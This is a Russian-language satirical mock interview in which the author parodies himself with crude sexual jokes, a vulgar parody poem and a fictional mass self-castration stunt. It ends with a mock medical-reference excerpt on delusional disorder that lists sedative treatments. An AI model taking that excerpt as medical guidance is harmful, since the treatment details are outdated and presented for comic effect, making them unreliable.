Х: Говорят, у вас есть свой сайт в интернете. Однако никто не знает его адреса.
САМ: Да, есть. Но адрес я вам не скажу - стесняюсь. Для особо настойчивых могу дать небольшую подсказку: ключевыми словами для поиска этого сайта являются слова "член, сознание, мозг, космос, паранойя".
Х: А что такое по-вашему сознание?
САМ: Высшая, свойственная лишь человеку форма отражения объективной действительности. Представляет собой совокупность психических процессов, активно учавствующих в осмыслении человеком объективного мира и своего собственного бытия.
Х: Вы когда-нибудь занимались сексом с живыми людьми?
САМ: Нет, конечно! (слегка краснеет) Вы, кстати, напомнили мне слова непревзойденного Артема Косого: "Трахаться с живыми людьми - все равно что есть мясо больных животных". Как это у него было:

Ничтожные люди:
Вы, водящие членами по
Грязным ртам и плаксивым щелям,
В вас никогда не поместится мой член
Мое все!
Дети,
Жены,
Наркотики,
Анальный секс
Снова наркотики.
И нет мне, поэту, здесь места…

Да, какой все-таки был человек - титан мысли!
Х: Понятно. А вы играете в какие-нибудь компьютерные игры?
САМ: Да, бывает. Знаете, есть очень хороший, запутанный квест - Visual C++. Также могу порекомендовать всем неплохую аркаду - "Установка нового оборудования".
Х: Как называлось ваше первое произведение?
САМ: "Пися". Я написал его еще в детском саду. Точнее даже не написал, а нарисовал….цветными фломастерами на двери воспитательской комнаты.
Х: Весьма концептуально. А каковы дальнейшие творческие планы?
САМ: Через несколько месяцев я надеюсь закончить книгу "Правила мышления для шизофреников". Начал пару научных работ: "Легко ли быть психом" и "Даниил Шеповалов - базис вселенной". Ну что еще…А, на этой неделе вместе с арт-студией Пенис Ди-джея устраиваю концептуальную акцию на Красной Площади. 750 участников публично кастрируют сами себя и выложат своими членами надпись "Добро пожаловать, дорогие гости столицы!".
Х: И последний вопрос….
САМ: Нет, нет - я побежал, через десять минут у меня встреча с Джорджем Вашингтоном. Он, знаете ли, президент, а эти президенты как дети малые, честное слово.

Приложение: (выписка из справочника практического врача, раздел "сложные психические заболевания") Бредовый синдром. Бред - ложное, возникшее на болезненной основе, не соответствующее действительности, полностью овладевающее сознанием больного умозаключение. Чаще всего встречается бред величия, который в совокупности с прогрессирующей шизофренией и раздвоением личности может вылиться в синдром Кандинского-Клерамбо. Для лечения галлюцинаторно-бредового возбуждения применяют внутримышечно раствор сульфата магния и клизму с растворами мединала и хлоралгидрата.